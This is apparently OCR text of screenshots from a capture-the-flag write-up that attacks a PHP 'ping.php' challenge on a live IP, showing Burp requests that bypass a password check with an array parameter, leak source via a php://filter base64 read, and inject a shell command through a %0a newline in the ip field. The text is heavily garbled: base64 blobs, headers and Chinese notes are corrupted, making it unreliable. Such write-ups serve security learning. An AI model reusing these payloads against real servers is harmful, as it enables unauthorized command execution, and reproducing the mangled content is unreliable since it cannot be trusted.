} else {

INA

1, $password)

echo

FREXping.phpYEfd:
payload:

8) {

HTTP/1.1 200 OK

Date: Fri, 27 Dec 2019 05:57:15 GMT
Server: Apache/2.4.27 (Unix)
X-Powered-By: PHP/5.6.32
Content-Length: 940

Connection: close

Content-Type: text/html; charset=UTF-8

e

There iz a ping.phpRight!!!login

successPD9waHANCIAgICBIY2hvlCJUaGVyZSBp cyBhlIHBpbm cucGhwljsNCiAglCAkc
GFzc3dvemQ9IkFDbXZYZINGVWF5b2hyTEliOw0KICAgIGImKGIzc2VOKCRfUEITVFs
ncGFze3dvemQnXSkpewOKICAgICAgICBpZiAoc3RyY21wKCRFUEITVFsncGFzc3dve
mQnXSwkcGFzc3dvemQplD09IDApIHsNCiAgICAgICAgICAgIGVjaGBgllpZ2h0ISEh
bG9naW4gc3VjY2Vzcyl7DQoglCAgICAgICAgICBpbmN<dWRIKCRfUKVRVUVTVFsnc
GF0aCddKTsNCiAglICAgICAgICAgIGV4aXQoKT<NCiAgICAgICAgFQOKICAgICAgICE
IbHNIew0KICAgICAgICAgICAgZWNobyAiV3JvbmegcGFze3dvemQuLil7DQoglCAg
ICAgIHONCIAgICE9D Qo /PgOKDQoBIS0tDQoglCAgJHBhc3N3b3JkPSIqKiogKiogKi
ogKiogKioqljsNCiAgICAgaWYoaXNzZXQoJFIQTTNUWydwYXNzd29yZCddKSI7TDQ
0glCAgICAgIGImIChzdHJ)jbXAcJFIQTTNUWydwYXNzd29yZCddLCAkcGFzc3dvem
QpID09IDARIHNCIAgICAgICAgICAgIGVjaG8gllJpZ2h0ISEhb GInaW4gc3VjY2Vzcyl
7DQoglCAgICAgICAgICEpbmNsdWRIKCRfUKVRVUVTVFsncGF0aCddKTsNCiAgICA
glCAgICAQIGV4aXQoKTsNCiAgICAgICAgfSEIbHNIIHSNCIAgICAgICAgICAgIGVjaG
8glldyb25nIHBhc3N3b3JkLi4iOWOKICAgICAgICEIDQotLT4=

ke
¥

]
@

arch term 0 matches

s

[¢
5

BEEE

1,132 bytes | 34 miliis



password[ ]=1stPeak&path=php:

Go Cance
Request

Raw | Params | Headers | Hex

Target: http://120.55.43.255:21173 | # sz

Response

Raw | Headers | Hex

POST / HTTP/1.1

Host: 1205543.255:21173

User-Agent: Mozilla/5.0 (Nindows NT 10.0; 'Wing4; x64; rvi71.0) Gecko/20100101
Firefox/71.0

Accept: text/html application/shtml+xml,application/~ml;q=0.9,%/%q0=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=05,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate

Referer: http://120.55.43.255:21173/

Content-Type: application/sc-www-form-urlencoded

Content-Length: 81

Origin: http://120.55.43.255:21173

Connection: close

Upgrade-Insecure-Requests: 1

Cache-Control: max-age=0

e

password[]=1stPeak&path=php://filter/read=convert.baseb4d-encode/resource=ping.ph
P

k.
v

0 matches

base64f#i:

<?php
if(isset($_REQUEST] D) {
$target = trim($_REQUEST[ s

$substitutions array (

)
$target
$cmd shell exec( $target );
echo $target;

echo {$cmd}

HTTP/1.1 200 OK

Date: Fri, 27 Dec 2019 06:00:12 GMT
Server: Apache/2.4.27 (Unix)
X-Powered-By: PHP/5.6.32
Content-Length: 704

Connection: close

Content-Type: text/html; charset=UTF-8

e

There iz a ping.phpRight!!!login
cuccessPDIwaHANCmImKGIze2VOKCRFUKVRVUVTVF<g)2lwlyB dKSkgewOKICAgICR
0YXJnZXQgPSB0cmItKCRfFUKVRVUVTVFsgJ2iwlyB dKTsNCiAglCAkc3Vic3RpdHV0a
W9ucyA9IGFycmF5KAOKICAgICAgICANJicglD0+I1CenLADKICAgICAgICANOycglDO+I
CenLADOKICAgICAgICANfCcgPT4glyccDQoglCAgICAgICctlyAgPT4glycsDQoglCAgl
CAgICckJyAgPT4glycsDQoglCAgICAgICcolyAgPT4glycsDQoglCAgICAgICcplyAg
PT4gJycsDQoglCAgICAgICdglyAgPT4g)ycsDQoglCAgICAgICdBfCcgPT4glycsDQo
glICAgKTsNCiAgICAkdGFyZ2V0ID0gc3RyX3JlcGxhY2UolGFycmF5X2tleXMolCRzdW
JzdGl0dXRpb25zICksICRzdWJzd GIOdXRpb25zLCAkdGFyZ2V0ICk7DQoglCAgJGNE
ZCA9IHNoZWx sX2V4ZWMolCdwaWSsnl CAtYyADI CegLiAkdGFyZ2V0ICK7DQoglCAg
ICAgIGVjaGB8gJHRhemdldDsNCiAgICBIY2hvICAIPHBYZTS7JGNtZHO8SL3ByZT4iOw0
KfQ==

ke
¥

0 matches

& w u u Type a searc

396 byies | 30 miliis

str_replace( array_keys( $substitutions ), $substitutions, $target );

ping.php I YRS 2 & IDVWA HighZk 5 K98, K" ‘SR 77", B

Payload (BATFBFHEbpF#S AT, #Ehackbar 28 —FAmTA)D -




Go Cancel < |v Z |
Request
Raw | Params | Headers | Hex

Target: http://120.55.43.255:21173 § @

Response

Raw | Headers | Hex

POST / HTTP/1.1 A HTTP/1.1 200 OK i

Host: 1205543.255:21173 I Date: Fri, 27 Dec 2019 06:10:11 GMT 1

User-Agent: Mozilla/5.0 (Nindows NT 10.0; 'Wing4; x64; rvi71.0) Gecko/20100101 Server: Apache/2.4.27 (Unix)

Firefox/71.0 X-Powered-By: PHP/5.6.32

Accept: text/html application/«html+xml,application/xml;q=0.9,%/%q=0.8 Content-Length: 145

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=05,en-US;q=0.3,en;q=0.2 Connection: close

Accept-Encoding: gzip, deflate Content-Type: text/html; charset=UTF-8

Referer: http://120.55.43.255:21173/

Content-Type: application/sc-www-form-urlencoded There iz a ping.phpRight!!!login cucces<127.0.0.1

Content-Length: 50 ls<pre>PING 127.0.0.1 (127.0.0.1): 56 data bytes

Origin: http://120.55.43.255:21173 ffffff1111aagggg.txt

Connection: close index.php

Upgrade-Insecure-Requests: 1 ping.php

Cache-Control: max-age=0 </pre>

password[]="1stPeak&path=ping.php&ip=127.0.0.1%0als
= =
v v

? = + = Type a search term 0 matches 2. < + = 0 matches
Done 337 byies | 19 miliis
B
Go Cancel < |v > Target: http://120.55.43.255:21173 | # || 7
Request Response
Raw | Params | Headers | Hex Raw | Headers | Hex

POST / HTTP/1.1 A HTTP/1.1 200 OK A

Host: 1205543.255:21173 P Date: Fri, 27 Dec 2019 06:10:46 GMT 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; 'Wing4; x64; rv:i71.0) Gecko/20100101 Server: Apache/24.27 (Unix)

Firefox/71.0 X-Powered-By: PHP/5.6.32

Accept: text/htmlapplication/xhtml+xml,application/xmlg=0.9,%/*q=0.8 Content-Length: 104

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;g=0.3,en;q=0.2 Connection: close

Accept-Encoding: gzip, deflate Content-Type: text/html; charset=UTF-&

Referer: httpy//120.5543.255:21173/

Content-Type: application/s-vwnww-form-urlencoded There iz a ping.phpRight!!!login success127.0.0.1

Content-Length: 49 ls<pre>ffffff1111aagggg.txt

Origin: http://120.55.43.255:21173 index.php

Connection: close ping.php

Upgrade-Insecure-Requests: 1 </fpre=

Cache-Control: max-age=0

password[]="1stPeak&path=ping.php&ip=127.0.0.1

Is
=3 =3
A v

m uJ w u Type a search term 0 matches ? liJ u u Type a search term 0 matches

Done

%0a (RRHAT,

AR A K/NE, FELinux R, linux, linux, linux! !

296 bytes | 5,030 miliis

') N4



1. %0afYFELinux* ] LA, Windows ik GEillD
2. fE—HhR, WihttpAiftp, %0arm LA —AHiiaLHFLE, XNt AARBF{E127.0.0. 1/5HIN%0a, %0a)s M ifdr&al AtiiT. &
Ashell_exec(ping -c 4 127.0.0.1%@als), 127.0.0.1%0als%eid T str_replace, %&iTping -c 4 127.0.0.1, RFHWIT T HIT—
NHHI1inuxdr4, 1s
3. FEGETIHERHAT, KURLHISQLIENSKRE FFH%OA R, %OARIRITRF, TEmysql= ] LAIEH AT .

HR: %0ae—M#iT, RPN —IT, XTHIEERNTRIIE R —NFHLF

Iikurl: http://www.webshell.cc/1.php?id=1%20union%20select%201,2,3,4 — HE&
— g

2%

https://www.webshell.cc/4362.html
https://www.xuebuyuan.com/431420.html
https:/iwww.freebuf.com/articles/web/129607.html
https://www.cnblogs.com/wangyuyang1016/p/11999986.html


https://www.webshell.cc/4362.html
https://www.xuebuyuan.com/431420.html
https://www.freebuf.com/articles/web/129607.html
https://www.cnblogs.com/wangyuyang1016/p/11999986.html
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